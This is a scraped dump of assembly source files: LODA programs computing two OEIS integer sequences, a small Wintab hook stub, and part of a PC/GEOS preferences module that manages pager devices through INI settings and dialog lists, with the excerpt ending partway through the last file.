[ "Apache-2.0" ]
null
null
null
programs/oeis/199/A199910.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/199/A199910.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A199910: Number of -n..n arrays x(0..2) of 3 elements with zero sum, and adjacent elements not equal modulo three (with -1 modulo 3 = 2). ; 6,12,24,42,60,84,114,144,180,222,264,312,366,420,480,546,612,684,762,840,924,1014,1104,1200,1302,1404,1512,1626,1740,1860,1986,2112,2244,2382,2520,2664,2814,2964,3120,3282,3444,3612,3786,3960,4140,4326,4512,4704,4902,5100,5304,5514,5724,5940,6162,6384,6612,6846,7080,7320,7566,7812,8064,8322,8580,8844,9114,9384,9660,9942,10224,10512,10806,11100,11400,11706,12012,12324,12642,12960,13284,13614,13944,14280,14622,14964,15312,15666,16020,16380,16746,17112,17484,17862,18240,18624,19014,19404,19800,20202,20604,21012,21426,21840,22260,22686,23112,23544,23982,24420,24864,25314,25764,26220,26682,27144,27612,28086,28560,29040,29526,30012,30504,31002,31500,32004,32514,33024,33540,34062,34584,35112,35646,36180,36720,37266,37812,38364,38922,39480,40044,40614,41184,41760,42342,42924,43512,44106,44700,45300,45906,46512,47124,47742,48360,48984,49614,50244,50880,51522,52164,52812,53466,54120,54780,55446,56112,56784,57462,58140,58824,59514,60204,60900,61602,62304,63012,63726,64440,65160,65886,66612,67344,68082,68820,69564,70314,71064,71820,72582,73344,74112,74886,75660,76440,77226,78012,78804,79602,80400 mov $1,$0 pow $0,2 div $0,3 add $1,$0 mul $1,6 add $1,6
130.1
1,103
0.792467
936e91042e0e909e4bbc00b8f5a5d9cbce0595ac
691
asm
Assembly
oeis/076/A076973.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/076/A076973.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/076/A076973.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A076973: Starting with 2, largest prime divisor of the sum of all previous terms. ; Submitted by Jamie Morken(s1) ; 2,2,2,3,3,3,5,5,5,5,7,7,7,7,7,7,11,11,11,11,11,11,13,13,13,13,13,13,17,17,17,17,17,17,19,19,19,19,19,19,23,23,23,23,23,23,23,23,23,23,29,29,29,29,29,29,29,29,31,31,31,31,31,31,31,31,37,37,37,37,37,37,37,37,37,37,41,41,41,41,41,41,43,43,43,43,43,43,47,47,47,47,47,47,47,47,47,47,53,53 mov $1,$0 mov $3,2 lpb $3 mov $0,$1 sub $3,1 add $0,$3 trn $0,1 add $0,1 seq $0,76271 ; a(1) = 1, a(2) = 2, and for n > 2, a(n) = a(n-1) + gpf(a(n-1)), where gpf = greatest prime factor = A006530. mov $4,$3 mul $4,$0 add $2,$4 lpe min $1,1 mul $1,$0 mov $0,$2 sub $0,$1
31.409091
285
0.60492
7c5aa3af0432fd6f2c465f78a3a154ec12b1fb9f
92
asm
Assembly
public/wintab/wintabx/pkthook.asm
DannyParker0001/Kisak-Strike
99ed85927336fe3aff2efd9b9382b2b32eb1d05d
[ "Unlicense" ]
252
2020-12-16T15:34:43.000Z
2022-03-31T23:21:37.000Z
cstrike15_src/public/wintab/wintabx/pkthook.asm
bahadiraraz/Counter-Strike-Global-Offensive
9a0534100cb98ffa1cf0c32e138f0e7971e910d3
[ "MIT" ]
23
2020-12-20T18:02:54.000Z
2022-03-28T16:58:32.000Z
cstrike15_src/public/wintab/wintabx/pkthook.asm
bahadiraraz/Counter-Strike-Global-Offensive
9a0534100cb98ffa1cf0c32e138f0e7971e910d3
[ "MIT" ]
42
2020-12-19T04:32:33.000Z
2022-03-30T06:00:28.000Z
include xlibproc.inc include Wintab.inc PROC_TEMPLATE WTMgrPacketHook, 5, Wintab, -, 160
23
49
0.782609
bafe2bafbfc72fc63449bf60a783f9e45ec43a9f
45,795
asm
Assembly
Library/Pref/Prefpag/prefpag.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
504
2018-11-18T03:35:53.000Z
2022-03-29T01:02:51.000Z
Library/Pref/Prefpag/prefpag.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
96
2018-11-19T21:06:50.000Z
2022-03-06T10:26:48.000Z
Library/Pref/Prefpag/prefpag.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
73
2018-11-19T20:46:53.000Z
2022-03-29T00:59:26.000Z
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) GeoWorks 1992 -- All Rights Reserved PROJECT: PC GEOS MODULE: Pager FILE: prefpag.asm AUTHOR: Jennifer Wu, Mar 10, 1993 ROUTINES: Name Description ---- ----------- PrefPagGetPrefUITree Return the root of the UI tree for "Preferences" PrefPagGetModuleInfo Fill in the PrefModuleInfo buffer so that PrefMgr can decide whether to show this button. REVISION HISTORY: Name Date Description ---- ---- ----------- jwu 3/10/93 Initial revision DESCRIPTION: $Id: prefpag.asm,v 1.1 97/04/05 01:29:41 newdeal Exp $ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ;----------------------------------------------------------------------------- ; CODE ;----------------------------------------------------------------------------- PrefPagCode segment resource COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% PrefPagGetPrefUITree %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Return the root of the UI tree for "Preferences" CALLED BY: PrefMgr PASS: nothing RETURN: dx:ax = OD of root of tree DESTROYED: nothing PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- jwu 3/10/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ PrefPagGetPrefUITree proc far mov dx, handle PrefPagRoot mov ax, offset PrefPagRoot ret PrefPagGetPrefUITree endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% PrefPagGetModuleInfo %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Fill in the PrefModuleInfo buffer so that PrefMgr can decide whether to show this button. CALLED BY: PrefMgr PASS: ds:si = PrefModuleInfo structure to be filled in RETURN: ds:si = buffer filled in DESTROYED: nothing PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- jwu 3/10/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ PrefPagGetModuleInfo proc far uses ax,bx .enter clr ax mov ds:[si].PMI_requiredFeatures, mask PMF_USER mov ds:[si].PMI_prohibitedFeatures, ax mov ds:[si].PMI_minLevel, ax mov ds:[si].PMI_maxLevel, UIInterfaceLevel-1 mov ds:[si].PMI_monikerList.handle, handle PrefPagMonikerList mov ds:[si].PMI_monikerList.offset, offset PrefPagMonikerList mov {word} ds:[si].PMI_monikerToken, 'P' or ('F' shl 8) mov {word} ds:[si].PMI_monikerToken+2, 'P' or ('G' shl 8) mov {word} ds:[si].PMI_monikerToken+4, MANUFACTURER_ID_APP_LOCAL .leave ret PrefPagGetModuleInfo endp ;;------------------------------------------------------------------------- ;; Implementation for PrefPagDialog class ;;------------------------------------------------------------------------- COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% PrefPagDialogOpen %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Intercepted to initialize whatever needs to be initialized when the dialog is opened. CALLED BY: MSG_VIS_OPEN PASS: *ds:si = PrefPagDialogClass object ds:di = PrefPagDialogClass instance data es = segment of PrefPagDialogClass ax = message # bp = 0 if top window, else window for object to open on RETURN: nothing DESTROYED: ax, cx, dx, bp SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- JW 3/18/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ PrefPagDialogOpen method dynamic PrefPagDialogClass, MSG_VIS_OPEN uses di,si .enter ; ; First pass the message on to our superclass. ; mov di, offset PrefPagDialogClass call ObjCallSuperNoLock ; ; Initialize the installed list. ; mov si, offset PrefPagInstalledList mov ax, MSG_PREF_PAG_INSTALLED_LIST_BUILD_ARRAY call ObjCallInstanceNoLock ; ; Initialize the application list. ; mov si, offset PrefPagAppList mov ax, MSG_PREF_PAG_APP_LIST_BUILD_ARRAY call ObjCallInstanceNoLock ; ; Set the used ports. ; call SetUsedPorts .leave ret PrefPagDialogOpen endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% PrefPagDialogClose %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Accepted to send out IACP notification to pager watcher to update notification preferences. CALLED BY: MSG_VIS_CLOSE PASS: *ds:si = PrefPagDialogClass object ds:di = PrefPagDialogClass instance data ds:bx = PrefPagDialogClass object (same as *ds:si) es = segment of PrefPagDialogClass ax = message # RETURN: nothing DESTROYED: ax, cx, dx, bp allowed: bx, si, di, ds SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- JW 4/ 7/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ PrefPagDialogClose method dynamic PrefPagDialogClass, MSG_VIS_CLOSE ; ; First pass the message on to our superclass. ; mov di, offset PrefPagDialogClass call ObjCallSuperNoLock ; destroys ax, cx, dx, bp ; ; Make sure any open VM files used by the PrefContainer ; are closed. ; mov ax, MSG_PREF_NOTIFY_DIALOG_CHANGE mov cx, PDCT_SHUTDOWN mov si, offset PrefPagConfigContainer call ObjCallInstanceNoLock ; ; Disable the change interaction so that when we open again, ; the user won't be able to use it. ; mov si, offset PrefPagChangeInteraction mov ax, MSG_GEN_SET_NOT_ENABLED mov dl, VUM_NOW call ObjCallInstanceNoLock ; ; Check if there any installed pagers. We don't want to start ; up the watcher if there are no pagers installed. ; mov si, offset PrefPagInstalledList mov ax, MSG_PREF_PAG_DYNAMIC_LIST_GET_ARRAY call ObjCallInstanceNoLock ; *ds:ax <- the array mov si, ax ; *ds:si <- the array call ChunkArrayGetCount ; cx <- # of elements jcxz done ; ; Use IACP to send a message to the watcher to update notification ; preferences. (Things may or may not have changed.) ; segmov ds, cs, ax mov di, offset watcherToken mov ax, MSG_PAGER_WATCHER_UPDATE_NOTIFICATION clr bx ; no completion msg mov si, MSG_GEN_PROCESS_OPEN_APPLICATION call IACP_SimpleConnectAndSend done: ret PrefPagDialogClose endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% PrefPagRemovePager %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Removes the selected pager from list of installed pagers in the INI file and updates the dynamic list, internally and visually. Notifies the watcher of the removed pager. CALLED BY: MSG_PREF_PAG_REMOVE_PAGER PASS: *ds:si = PrefPagDialogClass object RETURN: nothing DESTROYED: ax, cx, dx, bp SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- JW 3/17/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ PrefPagRemovePager method dynamic PrefPagDialogClass, MSG_PREF_PAG_REMOVE_PAGER uses di, si .enter ; ; Was anything selected? ; mov si, offset PrefPagInstalledList mov ax, MSG_GEN_ITEM_GROUP_GET_SELECTION call ObjCallInstanceNoLock tst ax ; ax = selection js noSelection ; ; Get the name of the pager that was selected. ; mov dx, ax ; dx <- selection mov ax, MSG_PREF_PAG_DYNAMIC_LIST_GET_ITEM call ObjCallInstanceNoLock ; cx:dx <- asciiZ pager name ; ax <- item # EC < mov di, ds > EC < cmp di, cx > EC < ERROR_NE BLOCK_MOVED_WHEN_IT_SHOULD_NOT_HAVE > mov si, dx ; ds:si <- pager name ; ; Free the port that was used by the pager. ; call ResetUsedPort ; ; Remove the category for this pager from the INI file. ; call InitFileDeleteCategory ; ; Remove the selected item from the list of devices in the INI file. ; push ds segmov ds, cs, cx mov si, offset pagerCategoryString mov dx, offset devicesKeyString call InitFileDeleteStringSection pop ds EC < ERROR_C CANNOT_REMOVE_A_PAGER_THAT_IS_NOT_INSTALLED > ; ; Remove the selected item from the list of installed pagers. ; mov dx, ax ; dx <- the selection mov si, offset PrefPagInstalledList mov ax, MSG_PREF_PAG_DYNAMIC_LIST_DELETE_ITEM call ObjCallInstanceNoLock ; ; Notify the watcher of the change. ; call PrefPagNotifyPagerWatcherPagerRemoved done: .leave ret noSelection: mov si, offset PrefPagRemoveErrorBox mov ax, MSG_GEN_INTERACTION_INITIATE call ObjCallInstanceNoLock jmp short done PrefPagRemovePager endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% PrefPagAddPager %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Notifies the watcher that a new pager has been added. Updates InstalledList onscreen and internally. CALLED BY: MSG_PREF_PAG_ADD_PAGER PASS: *ds:si = PrefPagDialogClass object ds:di = PrefPagDialogClass instance data RETURN: nothing DESTROYED: ax, cx, dx, bp SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- JW 3/18/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ PrefPagAddPager method dynamic PrefPagDialogClass, MSG_PREF_PAG_ADD_PAGER pagerName local PAGER_NAME_LENGTH dup (byte) appName local APPLICATION_NAME_LENGTH dup (byte) portName local PORT_NAME_LENGTH dup (byte) uses bx,di,si,es .enter ; ; Was a pager selected? ; push bp mov si, offset PrefPagDeviceList mov ax, MSG_GEN_ITEM_GROUP_GET_SELECTION call ObjCallInstanceNoLock pop bp tst ax LONG js badSelection ; ; Get the moniker of the selected pager. ; push bp mov cx, ss mov dx, bp add dx, offset pagerName ; cx:dx = buffer for name mov bp, PAGER_NAME_LENGTH ; bp <- size of buffer mov si, offset PrefPagDeviceList mov ax, MSG_PREF_ITEM_GROUP_GET_SELECTED_ITEM_TEXT call ObjCallInstanceNoLock EC < tst bp > EC < ERROR_Z CANNOT_GET_PAGER_NAME_FROM_LIST > ; ; Was an application selected? ; mov si, offset PrefPagAppList mov ax, MSG_GEN_ITEM_GROUP_GET_SELECTION call ObjCallInstanceNoLock ; ax <- the selection pop bp tst ax LONG js badSelection ; no application selected ; ; Get the name of the application. ; mov dx, ax ; the selected item mov ax, MSG_PREF_PAG_DYNAMIC_LIST_GET_ITEM call ObjCallInstanceNoLock ; cx:dx <- string name EC < mov di, ds > EC < cmp di, cx > EC < ERROR_NE BLOCK_MOVED_WHEN_IT_SHOULD_NOT_HAVE > ; ; Place the name of the application on the stack. ; mov si, dx ; ds:si <- string name segmov es, ss, ax mov di, bp add di, offset appName ; es:di <- loc on stack mov cx, APPLICATION_NAME_LENGTH rep movsb ; ; Was a port selected? ; push bp mov si, offset PrefPagPortList mov ax, MSG_GEN_ITEM_GROUP_GET_SELECTION call ObjCallInstanceNoLock ; ax <- the selection pop bp tst ax LONG js badSelection ; nothing selected ; ; Disable the selected port so the user can't select it again. ; The offset of the port object is already in ax because of the ; way the identifiers were set up. ; push bp mov si, ax mov dl, VUM_MANUAL ; window is closing so mov ax, MSG_GEN_SET_NOT_ENABLED ; point in updating now call ObjCallInstanceNoLock pop bp ; need to use it ; ; Get the name of the port. ; push bp ; save it again mov cx, ss mov dx, bp add dx, offset portName ; cx:dx = buffer mov bp, PORT_NAME_LENGTH ; bp <- size of buffer mov ax, MSG_PREF_ITEM_GROUP_GET_SELECTED_ITEM_TEXT mov si, offset PrefPagPortList call ObjCallInstanceNoLock EC < tst bp > EC < ERROR_Z CANNOT_GET_PORT_NAME_FROM_LIST > ; ; Make the PortList have no selection so that the next "add" won't ; select the same port. ; mov si, offset PrefPagPortList clr dx mov ax, MSG_GEN_ITEM_GROUP_SET_NONE_SELECTED call ObjCallInstanceNoLock pop bp ; ; Append pager to devices list in INI file. ; mov bx, ds ; save ds in bx segmov ds, cs, cx mov si, offset pagerCategoryString mov dx, offset devicesKeyString segmov es, ss, ax mov di, bp add di, offset pagerName ; es:di=asciiZ pager name call InitFileWriteStringSection ; ; Write the application's name under the category for the selected pager. ; segmov ds, es, ax mov si, di ; ds:si = pager name mov dx, offset applicationKeyString ; cx:dx = key string mov di, bp add di, offset appName ; es:di= asciiz app name call InitFileWriteString ; ; Now write the port's name under the same category. ; mov dx, offset portKeyString ; cx:dx = key string mov di, bp add di, offset portName ; es:di=asciiz port name call InitFileWriteString ; ; Set INI category of PrefPagDeviceList to the selected pager. ; mov cx, ds mov dx, si ; cx:dx = pager name push cx, dx ; save name of pager push bp mov ds, bx ; ds <- dgroup again mov ax, MSG_PREF_SET_INIT_FILE_CATEGORY mov si, offset PrefPagDeviceList call ObjCallInstanceNoLock ; ; Pass MSG_META_SAVE_OPTIONS to PrefPagDeviceList so that it will ; write the name of the driver to the INI file. ; segmov es, ds, bx ; es <- dgroup mov ax, MSG_META_SAVE_OPTIONS call ObjCallInstanceNoLock pop bp pop cx, dx ; restore name of pager ; ; Finally, add the new pager to the list of installed devices. ; mov si, offset PrefPagInstalledList mov ax, MSG_PREF_PAG_DYNAMIC_LIST_ADD_ITEM call ObjCallInstanceNoLock ; ; Notify the watcher of the change. ; call PrefPagNotifyPagerWatcherPagerAdded done: .leave ret badSelection: ; ; Put up dialog box telling user that the pager cannot be added ; because something was not selected. ; push bp mov si, offset PrefPagErrorBox mov ax, MSG_GEN_INTERACTION_INITIATE call ObjCallInstanceNoLock pop bp jmp short done PrefPagAddPager endm ;;-------------------------------------------------------------------------- ;; Implementation of PrefPagDynamicList class ;;-------------------------------------------------------------------------- COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% PrefPagInstalledListBuildArray %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Initialize the installed list to contain the names of all currently installed devices. CALLED BY: MSG_PREF_PAG_INSTALLED_LIST_BUILD_ARRAY PASS: *ds:si = PrefPagDynamicListClass object RETURN: nothing DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- JW 3/18/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ PrefPagInstalledListBuildArray method dynamic PrefPagDynamicListClass, MSG_PREF_PAG_INSTALLED_LIST_BUILD_ARRAY uses ax,cx,dx,di,bp .enter mov bp, si ; save si ; ; Build the array. ; mov dx, offset devicesKeyString call BuildArray ; *ds:si<-array, cx<- numItems ; ; Save the handle to the chunk array. ; mov di, ds:[bp] add di, ds:[di].PrefPagDynamicList_offset mov ds:[di].PPDLI_array, si ; ; Initialize the PrefPagInstalledList. ; mov ax, MSG_GEN_DYNAMIC_LIST_INITIALIZE mov si, bp call ObjCallInstanceNoLock .leave ret PrefPagInstalledListBuildArray endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% PrefPagAppListBuildArray %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Initialize the application list to contain the names of all applications that can be notified by the watcher. CALLED BY: MSG_PREF_PAG_APP_LIST_BUILD_ARRAY PASS: *ds:si = PrefPagDynamicListClass object RETURN: nothing DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- JW 3/18/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ PrefPagAppListBuildArray method dynamic PrefPagDynamicListClass, MSG_PREF_PAG_APP_LIST_BUILD_ARRAY uses ax,cx,dx,di,bp .enter mov bp, si ; save si ; ; Build the array. ; mov dx, offset appListKeyString call BuildArray ; *ds:si <- array, cx = numItems ; ; Save handle to chunk array. ; mov di, ds:[bp] add di, ds:[di].PrefPagDynamicList_offset mov ds:[di].PPDLI_array, si ; ; Initialize the PagAppList. ; mov ax, MSG_GEN_DYNAMIC_LIST_INITIALIZE mov si, bp call ObjCallInstanceNoLock .leave ret PrefPagAppListBuildArray endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% PrefPagGetInstalledListMoniker %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: The message used to query the installed list for item monikers. CALLED BY: MSG_PREF_PAG_GET_INSTALLED_LIST_MONIKER PASS: *ds:si = PrefPagDynamicListClass object ds:di = PrefPagDynamicListClass instance data bp = the position of the item requested RETURN: nothing DESTROYED: ax, cx, dx, bp SIDE EFFECTS: PSEUDO CODE/STRATEGY: Very lame hack for creating the text string for the moniker: Get device name. Append " on ". Append port name. Append " to ". Append application name. REVISION HISTORY: Name Date Description ---- ---- ----------- JW 3/18/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ PrefPagGetInstalledListMoniker method dynamic PrefPagDynamicListClass, MSG_PREF_PAG_GET_INSTALLED_LIST_MONIKER itemMoniker local MONIKER_STRING_LENGTH dup (byte) uses bx,di,es .enter push bp push ds,si ; save the list ; ; Get the device name. ; mov ax, ss:[bp] ; ax <- item position mov si, ds:[di].PPDLI_array call ChunkArrayElementToPtr ; ds:di <- device name ; cx <- length dec cx ; discard null terminator mov si, di ; ds:si <- device name EC < ERROR_C ITEM_NOT_IN_CHUNK_ARRAY > ; ; Copy device name to the itemMoniker string. ; push ds, si ; save device name segmov es, ss, bx mov di, bp add di, offset itemMoniker ; es:di <- buffer for moniker rep movsb ; ; Append " on " to the itemMoniker string. ; segmov ds, cs, bx mov si, offset onString mov cx, 4 ; string length rep movsb pop ds, si ; restore device name ; ; Append the port name to the itemMoniker string. ; mov cx, cs mov dx, offset portKeyString mov bp, InitFileReadFlags <IFCC_INTACT, 0,, \ PORT_NAME_LENGTH> call InitFileReadString ; cx <- # of bytes read EC < ERROR_C CANNOT_READ_PORT_FOR_DEVICE > ; ; Append " to " to the itemMoniker string. ; push ds, si ; save device name add di, cx ; es:di <- current end of buffer segmov ds, cs, bx mov si, offset toString mov cx, 4 ; string length rep movsb pop ds, si ; restore device name ; ; Append the application name to the itemMoniker string. ; mov cx, cs mov dx, offset applicationKeyString mov bp, InitFileReadFlags <IFCC_INTACT, 0,, \ APPLICATION_NAME_LENGTH> call InitFileReadString EC < ERROR_C CANNOT_READ_APPLICATION_FOR_DEVICE > ; ; Pass the moniker string to the list. ; pop ds, si ; ds:si <- the list pop bp mov cx, ss mov dx, bp add dx, offset itemMoniker ; cx:dx <- itemMoniker string push bp mov bp, ax ; bp <- item position mov ax, MSG_GEN_DYNAMIC_LIST_REPLACE_ITEM_TEXT call ObjCallInstanceNoLock pop bp .leave ret PrefPagGetInstalledListMoniker endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% PrefPagGetAppListMoniker %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: The message used to query the installed list for item monikers. CALLED BY: MSG_PREF_PAG_GET_APP_LIST_MONIKER PASS: *ds:si = PrefPagDynamicListClass object ds:di = PrefPagDynamicListClass instance data bp = the position of the item requested RETURN: nothing DESTROYED: ax, cx, dx, bp SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- JW 3/18/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ PrefPagGetAppListMoniker method dynamic PrefPagDynamicListClass, MSG_PREF_PAG_GET_APP_LIST_MONIKER appName local APPLICATION_NAME_LENGTH dup (byte) uses di .enter ; ; Get the string for the item. ; mov ax, ss:[bp] ; ax <- the position of the item mov si, ds:[di].PPDLI_array call ChunkArrayElementToPtr ; ds:di <- element, cx <- length EC < ERROR_C ITEM_NOT_IN_CHUNK_ARRAY > ; ; Copy the string to the appName buffer. ; mov si, di ; ds:si <- element segmov es, ss, bx mov di, bp add di, offset appName ; es:di <- appName buffer rep movsb ; ; Tell the list to replace the moniker with the null terminated ; text string. ; push bp mov cx, ss mov dx, bp add dx, offset appName ; cx:dx <- asciiZ appName mov si, offset PrefPagAppList mov bp, ax mov ax, MSG_GEN_DYNAMIC_LIST_REPLACE_ITEM_TEXT call ObjCallInstanceNoLock pop bp .leave ret PrefPagGetAppListMoniker endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% PrefPagInstalledDeviceSelected %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Tell the PrefContainer object to open the VMfile corresponding to the selected device. CALLED BY: MSG_PREF_PAG_INSTALLED_DEVICE_SELECTED PASS: *ds:si = PrefPagDynamicListClass object ds:di = PrefPagDynamicListClass instance data cx = current selection, or GIGS_NONE if no selection RETURN: nothing DESTROYED: ax, cx, dx, bp allowed: bx, di, si, es SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- JW 5/10/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ PrefPagInstalledDeviceSelected method dynamic PrefPagDynamicListClass, MSG_PREF_PAG_INSTALLED_DEVICE_SELECTED driverName local FileLongName matchAttrs local 2 dup (FileExtAttrDesc) filePath local PathName .enter cmp cx, GIGS_NONE LONG je noSpecialPrefs push ds ; save ds ; ; Get the device name. ; mov ax, cx ; ax <- item position mov si, ds:[di].PPDLI_array call ChunkArrayElementToPtr ; ds:di <- asciiz device name ; ; Get the driver name for the device from the INI file. ; push bp ; save bp mov si, di ; ds:si <- device name mov cx, cs mov dx, offset driverKeyString segmov es, ss, di mov di, bp add di, offset driverName mov bp, InitFileReadFlags <IFCC_INTACT,,, FILE_LONGNAME_BUFFER_SIZE> call InitFileReadString pop bp pop ds LONG jc done ; can't find driver name ; this should never happen ; ; Strip off any leading "EC " from the driverName, as prefs are the ; same for either one. ; cmp {word}ss:[driverName], 'E' or ('C' shl 8) jne findFile cmp ss:[driverName][2], ' ' jne findFile ; ; Shuffle the name down over top of the "EC " ; push ds, si lea si, ss:[driverName][3] segmov ds, ss, cx mov es, cx lea di, ss:[driverName] mov cx, size driverName - 3 rep movsb pop ds, si findFile: ; ; Look for a file in SP_PAGER_DRIVERS whose FEA_NOTICE attribute ; matches the driver longname. ; call FilePushDir mov ax, SP_PAGER_DRIVERS call FileSetStandardPath mov ss:[matchAttrs][0*FileExtAttrDesc].FEAD_attr, FEA_NOTICE mov ss:[matchAttrs][0*FileExtAttrDesc].FEAD_value.segment, ss lea ax, ss:[driverName] mov ss:[matchAttrs][0*FileExtAttrDesc].FEAD_value.offset, ax mov ss:[matchAttrs][0*FileExtAttrDesc].FEAD_size, \ size driverName mov 